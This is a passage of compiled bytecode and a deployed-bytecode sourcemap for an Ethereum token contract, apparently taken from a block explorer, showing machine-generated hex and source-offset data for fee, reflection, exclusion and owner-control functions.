160a01b031683528201929092526040019020546118499084611f59565b9250601a5f6008838154811061186157611861611f9e565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461188f9083611f59565b9150600101611766565b506011546010546118aa9190611f6c565b8110156118c1576010546011549350935050509091565b939092509050565b60145460ff16156118d8575f80fd5b6118e28282611042565b1580156118fc57506003546001600160a01b038281169116145b15610b1a576001600160a01b0382165f908152601d60209081526040918290208054600160ff19909116811790915542600b556014805462ff00ff19166201000117905591519182527ff2acc1979c00010542ffd8cae4d838ff799fc95287f58db252e6b45eaaa3936b910160405180910390a15050565b61199b60405180608001604052805f81526020015f81526020015f81526020015f81525090565b6119c260405180608001604052805f81526020015f81526020015f81526020015f81525090565b5f6119cd8787611bbf565b90506119d98186611fc6565b60608301528315611a92576001600160a01b0386165f908152601c602052604090205460ff1615611a1557602754602555602354602155611a53565b6001600160a01b0387165f908152601c602052604090205460ff1615611a4657602654602555602254602155611a53565b6028546025556024546021555b602b54602154602554611a669190611f8b565b611a709087611fc6565b611a7a9190611f6c565b60208301819052611a8b9086611f59565b8252611a9c565b5f60208301528482525b808260200151611aac9190611fc6565b8260600151611abb9190611f59565b60408301525095945050505050565b6003545f906001600160a01b0390811690841603611ae8575f611aec565b6004545b90505f611af7611021565b90505f81611b058486611f59565b611b0f9190611fc6565b305f908152601a6020526040902054909150611b2b9082611f8b565b305f908152601a6020908152604080832093909355601f9052205460ff1615611b7857305f90815260196020526040902054611b68908590611f8b565b305f908152601960205260409020555b60405184815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b5f805f611bcc8585611bdb565b90925090506110188183611f6c565b5f805f611be785610b5d565b1590505f611c0b866001600160a01b03165f90815260208052604090205460ff1690565b601054601154919250905f5b600854811015611d4d5782601a5f60088481548110611c3857611c38611f9e565b5f9182526020808320909101546001600160a01b031683528201929092526040019020541180611ca057508160195f60088481548110611c7a57611c7a611f9e565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b15611cb957601054601154965096505050505050611da5565b60195f60088381548110611ccf57611ccf611f9e565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054611cfd9083611f59565b9150601a5f60088381548110611d1557611d15611f9e565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054611d439084611f59565b9250600101611c17565b50838015611d585750825b15611d7357601154600481905550611d738789600454610cde565b601154601054611d839190611f6c565b821015611d9d576010546011549550955050505050611da5565b909450925050505b9250929050565b6001600160a01b0381168114610c99575f80fd5b5f60208284031215611dd0575f80fd5b813561089d81611dac565b5f602080835283518060208501525f5b81811015611e0757858101830151858201604001528201611deb565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215611e38575f80fd5b8235611e4381611dac565b946020939093013593505050565b5f805f60608486031215611e63575f80fd5b8335611e6e81611dac565b92506020840135611e7e81611dac565b929592945050506040919091013590565b5f60208284031215611e9f575f80fd5b5035919050565b5f8060408385031215611eb7575f80fd5b8235611ec281611dac565b915060208301358015158114611ed6575f80fd5b809150509250929050565b5f8060408385031215611ef2575f80fd5b8235611efd81611dac565b91506020830135611ed681611dac565b600181811c90821680611f2157607f821691505b602082108103611f3f57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561082257610822611f45565b5f82611f8657634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561082257610822611f45565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52603160045260245ffd5b808202811582820484141761082257610822611f45565b5f60208284031215611fed575f80fd5b815161089d81611dac565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156120485784516001600160a01b031683529383019391830191600101612023565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f6060848603121561207b575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220d0445ed3dad158539938ac7c37ab3e18a81e2cb216dc43efe6d09a37f8ac757564736f6c63430008160033

Deployed Bytecode Sourcemap

2091:17854:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11020:274;;;;;;;;;;;;;:::i;:::-;;8807:132;;;;;;;;;;-1:-1:-1;8807:132:0;;;;;:::i;:::-;-1:-1:-1;;;;;8900:31:0;8876:4;8900:31;;;:22;:31;;;;;;;;;8807:132;;;;567:14:1;;560:22;542:41;;530:2;515:18;8807:132:0;;;;;;;;8267:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7144:163::-;;;;;;;;;;-1:-1:-1;7144:163:0;;;;;:::i;:::-;;:::i;2334:40::-;;;;;;;;;;-1:-1:-1;2334:40:0;;;;-1:-1:-1;;;;;2334:40:0;;;;;;-1:-1:-1;;;;;1655:32:1;;;1637:51;;1625:2;1610:18;2334:40:0;1467:227:1;8502:83:0;;;;;;;;;;-1:-1:-1;8575:7:0;;8502:83;;;1845:25:1;;;1833:2;1818:18;8502:83:0;1699:177:1;4255:31:0;;;;;;;;;;;;;;;;7991:268;;;;;;;;;;-1:-1:-1;7991:268:0;;;;;:::i;:::-;;:::i;13259:214::-;;;;;;;;;;-1:-1:-1;13259:214:0;;;;;:::i;:::-;;:::i;8425:71::-;;;;;;;;;;-1:-1:-1;8484:9:0;;8425:71;;8484:9;;;;2669:36:1;;2657:2;2642:18;8425:71:0;2527:184:1;6710:209:0;;;;;;;;;;-1:-1:-1;6710:209:0;;;;;:::i;:::-;;:::i;3840:28::-;;;;;;;;;;;;;;;;4050:49;;;;;;;;;;;;;;;;18975:967;;;;;;;;;;-1:-1:-1;18975:967:0;;;;;:::i;:::-;;:::i;2381:28::-;;;;;;;;;;-1:-1:-1;2381:28:0;;;;-1:-1:-1;;;;;2381:28:0;;;3160:41;;;;;;;;;;-1:-1:-1;3160:41:0;;;;;;;;;;;2450:72;;;;;;;;;;-1:-1:-1;2450:72:0;;;;-1:-1:-1;;;;;2450:72:0;;;8947:123;;;;;;;;;;-1:-1:-1;8947:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;9035:27:0;9011:4;9035:27;;;:18;:27;;;;;;;;;8947:123;2529:72;;;;;;;;;;-1:-1:-1;2529:72:0;;;;-1:-1:-1;;;;;2529:72:0;;;2259:31;;;;;;;;;;-1:-1:-1;2259:31:0;;;;;;;-1:-1:-1;;;;;2259:31:0;;;3964:38;;;;;;;;;;;;;;;;11302:132;;;;;;;;;;-1:-1:-1;11302:132:0;;;;;:::i;:::-;;:::i;4011:32::-;;;;;;;;;;;;;;;;7587:219;;;;;;;;;;-1:-1:-1;7587:219:0;;;;;:::i;:::-;;:::i;6552:150::-;;;;;;;;;;;;;:::i;10795:217::-;;;;;;;;;;;;;:::i;3919:38::-;;;;;;;;;;;;;;;;8591:65;;;;;;;;;;-1:-1:-1;8647:6:0;;-1:-1:-1;;;;;8647:6:0;8591:65;;8344:75;;;;;;;;;;;;;:::i;2297:30::-;;;;;;;;;;-1:-1:-1;2297:30:0;;;;-1:-1:-1;;;;;2297:30:0;;;17481:109;;;;;;;;;;;;;:::i;6927:209::-;;;;;;;;;;-1:-1:-1;6927:209:0;;;;;:::i;:::-;;:::i;7814:169::-;;;;;;;;;;-1:-1:-1;7814:169:0;;;;;:::i;:::-;;:::i;3295:30::-;;;;;;;;;;;;;;;;4214:34;;;;;;;;;;;;;;;;3875:37;;;;;;;;;;;;;;;;3332:35;;;;;;;;;;;;;;;;4106:50;;;;;;;;;;;;;;;;3083:42;;;;;;;;;;-1:-1:-1;3083:42:0;;;;;;;;8662:133;;;;;;;;;;-1:-1:-1;8662:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;8764:19:0;;;8746:7;8764:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;8662:133;4163:42;;;;;;;;;;;;;;;;11020:274;4939:6;;-1:-1:-1;;;;;4939:6:0;560:10;4939:22;4931:31;;;;;;11080:14:::1;::::0;::::1;::::0;::::1;;;11079:15;11071:24;;;::::0;::::1;;11116:14;:21:::0;;-1:-1:-1;;11116:21:0::1;;;::::0;;11148::::1;:28:::0;;-1:-1:-1;;11148:28:0::1;::::0;::::1;::::0;;11189:43:::1;11220:4;11133;11189:22;:43::i;:::-;11266:13;::::0;11243:43:::1;::::0;-1:-1:-1;;;;;11266:13:0::1;::::0;11243:22:::1;:43::i;:::-;11020:274::o:0;8267:71::-;8306:13;8330:5;8323:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8267:71;:::o;7144:163::-;7219:4;7236:39;560:10;7259:7;7268:6;7236:8;:39::i;:::-;-1:-1:-1;7295:4:0;7144:163;;;;;:::o;7991:268::-;8089:4;8106:36;8116:6;8124:9;8135:6;8106:9;:36::i;:::-;-1:-1:-1;;;;;;8184:19:0;;;;;;:11;:19;;;;;;;;560:10;8184:33;;;;;;;;;8153:74;;8162:6;;8184:42;;8220:6;;8184:42;:::i;:::-;8153:8;:74::i;:::-;-1:-1:-1;8247:4:0;7991:268;;;;;:::o;13259:214::-;13325:7;13364;;13353;:18;;13345:27;;;;;;13385:19;13408:16;:14;:16::i;:::-;13385:39;-1:-1:-1;13444:21:0;13385:39;13444:7;:21;:::i;:::-;13437:28;13259:214;-1:-1:-1;;;13259:214:0:o;6710:209::-;560:10;6794:4;6843:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6843:34:0;;;;;;;;;;6794:4;;6811:76;;6834:7;;6843:43;;6880:6;;6843:43;:::i;18975:967::-;4939:6;;-1:-1:-1;;;;;4939:6:0;560:10;4939:22;4931:31;;;;;;19070:15;::::1;;19081:4;19070:15:::0;19066:869:::1;;-1:-1:-1::0;;;;;19111:31:0;::::1;;::::0;;;:22:::1;:31;::::0;;;;;::::1;;19110:32;19102:41;;;::::0;::::1;;-1:-1:-1::0;;;;;19163:16:0;::::1;19182:1;19163:16:::0;;;:7:::1;:16;::::0;;;;;:20;19160:116:::1;;-1:-1:-1::0;;;;;19243:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;19223:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;19204:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;19160:116:::1;-1:-1:-1::0;;;;;;19290:31:0::1;;::::0;;;:22:::1;:31;::::0;;;;:38;;-1:-1:-1;;19290:38:0::1;19324:4;19290:38:::0;;::::1;::::0;;;19343:17:::1;:31:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;19343:31:0::1;::::0;;::::1;::::0;;18975:967::o;19066:869::-:1;19396:16:::0;::::1;;19407:5;19396:16:::0;19392:543:::1;;-1:-1:-1::0;;;;;19437:31:0;::::1;;::::0;;;:22:::1;:31;::::0;;;;;::::1;;19429:40;;;::::0;::::1;;19491:13;19486:438;19518:17;:24:::0;19510:32;::::1;19486:438;;;19604:7;-1:-1:-1::0;;;;;19576:35:0::1;:17;19594:5;19576:24;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;19576:24:0::1;:35:::0;19572:337:::1;;19663:17;19681:24:::0;;:28:::1;::::0;19708:1:::1;::::0;19681:28:::1;:::i;:::-;19663:47;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;19636:17:::1;:24:::0;;-1:-1:-1;;;;;19663:47:0;;::::1;::::0;19654:5;;19636:24;::::1;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;:74:::0;;-1:-1:-1;;;;;;19636:74:0::1;-1:-1:-1::0;;;;;19636:74:0;;::::1;;::::0;;19733:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;19776:22:::1;:31:::0;;;;:39;;-1:-1:-1;;19776:39:0::1;::::0;;19838:17:::1;:23:::0;;;::::1;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;-1:-1:-1;;19838:23:0;;;;;-1:-1:-1;;;;;;19838:23:0::1;::::0;;;;;19884:5:::1;;19572:337;19544:7;;19486:438;;;;19392:543;18975:967:::0;;:::o;11302:132::-;4939:6;;-1:-1:-1;;;;;4939:6:0;560:10;4939:22;4931:31;;;;;;-1:-1:-1;;;;;11389:27:0;;;::::1;;::::0;;;:18:::1;:27:::0;;;;;:37;;-1:-1:-1;;11389:37:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11302:132::o;7587:219::-;-1:-1:-1;;;;;7677:31:0;;7653:7;7677:31;;;:22;:31;;;;;;;;7673:60;;;-1:-1:-1;;;;;;7717:16:0;;;;;:7;:16;;;;;;;7587:219::o;7673:60::-;-1:-1:-1;;;;;7781:16:0;;;;;;:7;:16;;;;;;7761:37;;:19;:37::i;6552:150::-;4939:6;;-1:-1:-1;;;;;4939:6:0;560:10;4939:22;4931:31;;;;;;6619:6:::1;:19:::0;;-1:-1:-1;;;;;;6619:19:0::1;::::0;;6654:40:::1;::::0;6636:1:::1;::::0;;;6654:40:::1;::::0;6636:1;;6654:40:::1;6552:150::o:0;10795:217::-;4939:6;;-1:-1:-1;;;;;4939:6:0;560:10;4939:22;4931:31;;;;;;10868:7:::1;::::0;10849:16:::1;:26:::0;;;10904:12:::1;::::0;10886:15:::1;:30:::0;;;10927:21:::1;:31:::0;;;;10969:20:::1;:35:::0;10795:217::o;8344:75::-;8385:13;8409:7;8402:14;;;;;:::i;17481:109::-;4939:6;;-1:-1:-1;;;;;4939:6:0;560:10;4939:22;4931:31;;;;;;8647:6;;17534:48:::1;::::0;-1:-1:-1;;;;;8647:6:0;;;;17560:21:::1;17534:48:::0;::::1;;;::::0;::::1;::::0;;;17560:21;8647:6;17534:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;17481:109::o:0;6927:209::-;560:10;7011:4;7060:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;7060:34:0;;;;;;;;;;7011:4;;7028:76;;7051:7;;7060:43;;7097:6;;7060:43;:::i;7814:169::-;7892:4;7909:42;560:10;7933:9;7944:6;7909:9;:42::i;7315:264::-;-1:-1:-1;;;;;7410:20:0;;7402:29;;;;;;-1:-1:-1;;;;;7450:21:0;;7442:30;;;;;;-1:-1:-1;;;;;7485:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7538:33;;1845:25:1;;;7538:33:0;;1818:18:1;7538:33:0;;;;;;;7315:264;;;:::o;9078:1709::-;9166:4;-1:-1:-1;;;;;9191:20:0;;9183:29;;;;;;-1:-1:-1;;;;;9231:23:0;;9223:32;;;;;;9283:1;9274:6;:10;9266:19;;;;;;9301:29;9312:6;9320:9;9301:10;:29::i;:::-;9298:750;;;9351:14;;;;;;;9347:85;;9386:30;;-1:-1:-1;;;9386:30:0;;5430:2:1;9386:30:0;;;5412:21:1;5469:2;5449:18;;;5442:30;-1:-1:-1;;;5488:18:1;;;5481:50;5548:18;;9386:30:0;;;;;;;;9347:85;9452:11;;;;9448:365;;;-1:-1:-1;;;;;9488:16:0;;;;;;:8;:16;;;;;;;;9484:314;;;-1:-1:-1;;;;;9537:20:0;;;;;;:9;:20;;;;;;9561:12;9537:36;;9529:45;;;;;;-1:-1:-1;;;;;9597:20:0;;;;;;:9;:20;;;;;9620:12;9597:35;;9484:314;;;-1:-1:-1;;;;;9689:17:0;;;;;;:9;:17;;;;;;9710:12;9689:33;;9681:42;;;;;;-1:-1:-1;;;;;9746:17:0;;;;;;:9;:17;;;;;9766:12;9746:32;;9484:314;9847:21;;9837:6;:31;;9829:40;;;;;;9902:16;;-1:-1:-1;;;;;9889:29:0;;;9902:16;;;;;9889:29;;;;:53;;-1:-1:-1;;;;;;9923:19:0;;;;;;:8;:19;;;;;;;;9922:20;9889:53;9886:151;;;10004:16;;9994:6;9971:20;9981:9;9971;:20::i;:::-;:29;;;;:::i;:::-;:49;;9963:58;;;;;;-1:-1:-1;;;;;10096:26:0;;10060:15;10096:26;;;:18;:26;;;;;;10078:4;;10096:26;;;:59;;-1:-1:-1;;;;;;10126:29:0;;;;;;:18;:29;;;;;;;;10096:59;10093:109;;;-1:-1:-1;10185:5:0;10093:109;-1:-1:-1;;;;;10218:19:0;;;;;;:8;:19;;;;;;;;10214:493;;;-1:-1:-1;;;;;10259:26:0;;;;;;:18;:26;;;;;;;;10258:27;:61;;;;-1:-1:-1;;;;;;10290:29:0;;;;;;:18;:29;;;;;;;;10289:30;10258:61;:82;;;;-1:-1:-1;10324:16:0;;;;;;;10323:17;10258:82;:107;;;;-1:-1:-1;10344:21:0;;;;;;;10258:107;10254:442;;;10386:28;10417:24;10435:4;10417:9;:24::i;:::-;10386:55;;10488:13;;10464:20;:37;10460:221;;10553:10;;10529:20;:34;10526:77;;-1:-1:-1;10590:10:0;;10526:77;10625:36;10640:20;10625:14;:36::i;:::-;10367:329;10254:442;10726:53;10741:6;10749:9;10760:6;10768:10;10726:14;:53::i;:::-;10719:60;9078:1709;-1:-1:-1;;;;;9078:1709:0:o;13481:168::-;13529:7;13550:15;13567;13586:18;:16;:18::i;:::-;13549:55;;-1:-1:-1;13549:55:0;-1:-1:-1;13624:17:0;13549:55;;13624:17;:::i;:::-;13617:24;;;;13481:168;:::o;11442:349::-;11520:4;11569:7;8647:6;;-1:-1:-1;;;;;8647:6:0;;8591:65;11569:7;-1:-1:-1;;;;;11559:17:0;:6;-1:-1:-1;;;;;11559:17:0;;;:44;;;;-1:-1:-1;;;;;;11580:23:0;;11598:4;11580:23;;11559:44;:87;;;;-1:-1:-1;;;;;;11621:25:0;;;;;;:17;:25;;;;;;;;11620:26;11559:87;:120;;;;-1:-1:-1;;;;;;11651:28:0;;;;;;:17;:28;;;;;;;;11650:29;11559:120;:162;;;;-1:-1:-1;11709:12:0;;-1:-1:-1;;;;;11696:25:0;;;11709:12;;11696:25;;11559:162;:189;;;;-1:-1:-1;;;;;;11725:23:0;;;;11559:189;:213;;;;-1:-1:-1;;8647:6:0;;-1:-1:-1;;;;;11752:20:0;;;8647:6;;11752:20;;;11537:246;-1:-1:-1;11442:349:0:o;17598:1332::-;4813:16;:23;;-1:-1:-1;;4813:23:0;;;;;17704:9:::1;::::0;17686:15:::1;::::0;:27:::1;::::0;17704:9;17686:27:::1;:::i;:::-;17682:45:::0;17720:7:::1;17682:45;17739:25;17835:1;17821:9;;17803:15;;:27;;;;:::i;:::-;17783:15;::::0;17769:29:::1;::::0;:11;:29:::1;:::i;:::-;17768:63;;;;:::i;:::-;17767:69;;;;:::i;:::-;17739:97:::0;-1:-1:-1;17847:23:0::1;17873:31;17739:97:::0;17873:11;:31:::1;:::i;:::-;17941:16;::::0;;17955:1:::1;17941:16:::0;;;;;::::1;::::0;;17847:57;;-1:-1:-1;17917:21:0::1;::::0;17941:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;17941:16:0::1;17917:40;;17986:4;17968;17973:1;17968:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17968:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;18012:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;18012:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;17968:7;;18012:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18002:4;18007:1;18002:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18002:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;18047:15:::1;::::0;:200:::1;::::0;-1:-1:-1;;;18047:200:0;;:15;::::1;::::0;:66:::1;::::0;:200:::1;::::0;18128:15;;18047::::1;::::0;18174:4;;18201::::1;::::0;18221:15:::1;::::0;18047:200:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;18260:23;18364:1;18350:9;;18332:15;;:27;;;;:::i;:::-;18312:15;::::0;18288:39:::1;::::0;:21:::1;:39;:::i;:::-;18287:73;;;;:::i;:::-;18286:79;;;;:::i;:::-;18260:105:::0;-1:-1:-1;18382:21:0;;18378:386:::1;;18420:15;::::0;18602:12:::1;::::0;18420:243:::1;::::0;-1:-1:-1;;;18420:243:0;;18502:4:::1;18420:243;::::0;::::1;7464:34:1::0;7514:18;;;7507:34;;;18420:15:0::1;7557:18:1::0;;;7550:34;;;7600:18;;;7593:34;-1:-1:-1;;;;;18602:12:0;;::::1;7643:19:1::0;;;7636:44;18633:15:0::1;7696:19:1::0;;;7689:35;18420:15:0;::::1;::::0;:31:::1;::::0;18459:15;;7398:19:1;;18420:243:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;18683:69:0::1;::::0;;8248:25:1;;;8304:2;8289:18;;8282:34;;;8332:18;;;8325:34;;;18683:69:0::1;::::0;-1:-1:-1;8236:2:1;8221:18;18683:69:0::1;;;;;;;18378:386;18814:1;18780:31;18794:17:::0;18780:11;:31:::1;:::i;:::-;:35;18776:147;;;18887:7;::::0;:24:::1;::::0;18850:21:::1;::::0;-1:-1:-1;;;;;18887:7:0::1;::::0;:24;::::1;;;::::0;18850:21;;18832:14:::1;18887:24:::0;18832:14;18887:24;18850:21;18887:7;:24;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;18817:106;18776:147;17671:1259;;;;4847:1;-1:-1:-1::0;4859:16:0;:24;;-1:-1:-1;;4859:24:0;;;17598:1332::o;11799:1452::-;11932:22;;11910:4;;11932:22;;11927:244;;11971:39;11992:6;12000:9;11971:20;:39::i;:::-;12030:22;;;;12029:23;:56;;;;;12056:29;12067:6;12075:9;12056:10;:29::i;:::-;12025:135;;;12106:38;;-1:-1:-1;;;12106:38:0;;8572:2:1;12106:38:0;;;8554:21:1;8611:2;8591:18;;;8584:30;8650;8630:18;;;8623:58;8698:18;;12106:38:0;8370:352:1;12025:135:0;12191:25;12219:50;12230:6;12238:9;12249:7;12258:10;12219;:50::i;:::-;12191:78;;12307:7;12286:17;12296:6;12286:9;:17::i;:::-;:28;12282:938;;12367:14;;;;-1:-1:-1;;;;;12349:15:0;;;;;;:7;:15;;;;;;:32;;12367:14;12349:32;:::i;:::-;-1:-1:-1;;;;;12331:15:0;;;;;;;:7;:15;;;;;;:50;;;;12438:22;;;;12417:18;;;;;;;;;;:43;;12438:22;12417:43;:::i;:::-;-1:-1:-1;;;;;12396:18:0;;;;;;;:7;:18;;;;;;;;:64;;;;12481:30;;;;;:22;:30;;;;;;;:68;;;;-1:-1:-1;;;;;;12516:33:0;;;;;;:22;:33;;;;;;;;12515:34;12481:68;12477:571;;;-1:-1:-1;;;;;12588:15:0;;;;;;:7;:15;;;;;;:25;;12606:7;;12588:25;:::i;:::-;-1:-1:-1;;;;;12570:15:0;;;;;;:7;:15;;;;;:43;12477:571;;;-1:-1:-1;;;;;12640:30:0;;;;;;:22;:30;;;;;;;;12639:31;:68;;;;-1:-1:-1;;;;;;12674:33:0;;;;;;:22;:33;;;;;;;;12639:68;12635:413;;;12770:22;;-1:-1:-1;;;;;12749:18:0;;12770:22;12749:18;;;:7;:18;;;;;;:43;;12770:22;12749:43;:::i;:::-;-1:-1:-1;;;;;12728:18:0;;;;;;:7;:18;;;;;:64;12635:413;;;-1:-1:-1;;;;;12818:30:0;;;;;;:22;:30;;;;;;;;:67;;;;-1:-1:-1;;;;;;12852:33:0;;;;;;:22;:33;;;;;;;;12818:67;12814:234;;;-1:-1:-1;;;;;12924:15:0;;;;;;:7;:15;;;;;;:25;;12942:7;;12924:25;:::i;:::-;-1:-1:-1;;;;;12906:15:0;;;;;;;:7;:15;;;;;;:43;;;;13010:22;;12989:18;;;;;;;;;;:43;;13010:22;12989:43;:::i;:::-;-1:-1:-1;;;;;12968:18:0;;;;;;:7;:18;;;;;:64;12814:234;13068:17;;;;:21;13064:71;;13091:44;13109:6;13117;:17;;;13091;:44::i;:::-;13174:9;-1:-1:-1;;;;;13157:51:0;13166:6;-1:-1:-1;;;;;13157:51:0;;13185:6;:22;;;13157:51;;;;1845:25:1;;1833:2;1818:18;;1699:177;13157:51:0;;;;;;;;12282:938;-1:-1:-1;13239:4:0;;11799:1452;-1:-1:-1;;;;;11799:1452:0:o;16853:620::-;16950:7;;16986;;16903;;;;;17006:351;17038:17;:24;17030:32;;17006:351;;;17128:7;17092;:33;17100:17;17118:5;17100:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;17100:24:0;17092:33;;;;;;;;;;;;;:43;;:90;;;17175:7;17139;:33;17147:17;17165:5;17147:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;17147:24:0;17139:33;;;;;;;;;;;;;:43;17092:90;17088:121;;;17192:7;;17201;;17184:25;;;;;;;16853:620;;:::o;17088:121::-;17244:7;:33;17252:17;17270:5;17252:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;17252:24:0;17244:33;;;;;;;;;;;;;17234:43;;:7;:43;:::i;:::-;17224:53;;17312:7;:33;17320:17;17338:5;17320:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;17320:24:0;17312:33;;;;;;;;;;;;;17302:43;;:7;:43;:::i;:::-;17292:53;-1:-1:-1;17064:7:0;;17006:351;;;;17393:7;;17383;;:17;;;;:::i;:::-;17373:7;:27;17369:58;;;17410:7;;17419;;17402:25;;;;;;16853:620;;:::o;17369:58::-;17448:7;17457;;-1:-1:-1;16853:620:0;-1:-1:-1;16853:620:0:o;13657:453::-;13751:22;;;;13750:23;13742:32;;;;;;13792:29;13803:6;13811:9;13792:10;:29::i;:::-;13791:30;:60;;;;-1:-1:-1;13838:13:0;;-1:-1:-1;;;;;13825:26:0;;;13838:13;;13825:26;13791:60;13787:316;;;-1:-1:-1;;;;;13868:25:0;;;;;;:17;:25;;;;;;;;;:32;;13896:4;-1:-1:-1;;13868:32:0;;;;;;;;13942:15;13915:24;:42;13972:22;:29;;-1:-1:-1;;14016:28:0;;;;;14064:27;;542:41:1;;;14064:27:0;;515:18:1;14064:27:0;;;;;;;13657:453;;:::o;15510:1114::-;15617:18;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15617:18:0;15648:25;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15648:25:0;15686:19;15708:33;15723:6;15731:9;15708:14;:33::i;:::-;15686:55;-1:-1:-1;15771:21:0;15686:55;15771:7;:21;:::i;:::-;15754:14;;;:38;15805:698;;;;-1:-1:-1;;;;;15839:19:0;;;;;;:8;:19;;;;;;;;15835:401;;;15895:19;;15879:13;:35;15943:13;;15933:7;:23;15835:401;;;-1:-1:-1;;;;;15982:16:0;;;;;;:8;:16;;;;;;;;15978:258;;;16035:18;;16019:13;:34;16082:12;;16072:7;:22;15978:258;;;16151:23;;16135:13;:39;16203:17;;16193:7;:27;15978:258;16312:11;;16300:7;;16284:13;;:23;;;;:::i;:::-;16273:35;;:7;:35;:::i;:::-;16272:51;;;;:::i;:::-;16252:17;;;:71;;;16363:27;;:7;:27;:::i;:::-;16338:52;;15805:698;;;16443:1;16423:17;;;:21;16459:32;;;15805:698;16578:11;16558:6;:17;;;:31;;;;:::i;:::-;16540:6;:14;;;:50;;;;:::i;:::-;16515:22;;;:75;-1:-1:-1;16515:22:0;15510:1114;-1:-1:-1;;;;;15510:1114:0:o;14985:517::-;15100:13;;15068:19;;-1:-1:-1;;;;;15100:13:0;;;15090:23;;;;:39;;15128:1;15090:39;;;15116:9;;15090:39;15068:61;;15140:19;15163:16;:14;:16::i;:::-;15140:39;-1:-1:-1;15190:18:0;15140:39;15212:24;15225:11;15212:10;:24;:::i;:::-;15211:40;;;;:::i;:::-;15316:4;15300:22;;;;:7;:22;;;;;;15190:61;;-1:-1:-1;15287:35:0;;15190:61;15287:35;:::i;:::-;15278:4;15262:22;;;;:7;:22;;;;;;;;:60;;;;15336:22;:37;;;;;;15333:102;;;15416:4;15400:22;;;;:7;:22;;;;;;:35;;15425:10;;15400:35;:::i;:::-;15391:4;15375:22;;;;:7;:22;;;;;:60;15333:102;15451:43;;1845:25:1;;;15476:4:0;;-1:-1:-1;;;;;15451:43:0;;;;;1833:2:1;1818:18;15451:43:0;;;;;;;15057:445;;;14985:517;;:::o;16632:213::-;16708:7;16729:15;16746;16765:35;16782:6;16790:9;16765:16;:35::i;:::-;16728:72;;-1:-1:-1;16728:72:0;-1:-1:-1;16820:17:0;16728:72;;16820:17;:::i;14118:859::-;14196:7;14205;14225:14;14242:17;14252:6;14242:9;:17::i;:::-;:22;;-1:-1:-1;14263:1:0;14296:25;14314:6;-1:-1:-1;;;;;9035:27:0;9011:4;9035:27;;;:18;:27;;;;;;;;;8947:123;14296:25;14350:7;;14386;;14275:46;;-1:-1:-1;14350:7:0;14332:15;14404:351;14436:17;:24;14428:32;;14404:351;;;14526:7;14490;:33;14498:17;14516:5;14498:24;;;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;14498:24:0;14490:33;;;;;;;;;;;;;:43;;:90;;;14573: